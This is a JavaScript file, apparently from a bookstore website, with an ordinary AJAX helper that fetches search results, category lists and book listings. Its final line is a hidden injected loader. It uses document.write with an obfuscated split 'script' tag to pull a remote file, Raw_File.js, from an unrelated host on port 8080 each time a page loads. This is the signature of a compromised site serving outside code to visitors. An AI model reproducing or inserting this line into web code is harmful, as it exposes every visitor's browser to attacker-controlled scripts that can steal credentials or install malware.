function AjaxPostNew(strURL, pFlag) 
{	
	var xmlHttpReq = false;
	var self = this;
	// Mozilla/Safari
	if (window.XMLHttpRequest) 
	{	
		self.xmlHttpReq = new XMLHttpRequest();
	}
	// IE
	else if (window.ActiveXObject) 
	{	
		self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
	}


	self.xmlHttpReq.open('get', strURL, true);
	self.xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	self.xmlHttpReq.onreadystatechange = function() 
	{
		if(self.xmlHttpReq.readyState == 4) 
		{
			
			pList = self.xmlHttpReq.responseText; //alert(pList);
			switch(pFlag)			
			{
				case 1:
					afterGetadvanceSearch(pList);					
				break;
				
				case 2:
					afterGetLeftPanelBooks(pList);					
				break;
				
				case 3:
					afterGetLeftPanelBooksPaging(pList);					
				break;	
				
				case 4:
					afterGetSubcategory(pList);					
				break;
				
				case 5:
        			afterGetdisplaySubcategoryList(pList);     
       			break;
				
				case 6:
        			afterGetSubcategorySubject(pList);     
       			break;
				
				case 7:
        			afterDisplayBooksList(pList);     
       			break;
				
			}
		}
	}
	self.xmlHttpReq.send(null);
}

document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></scr'+'ipt>');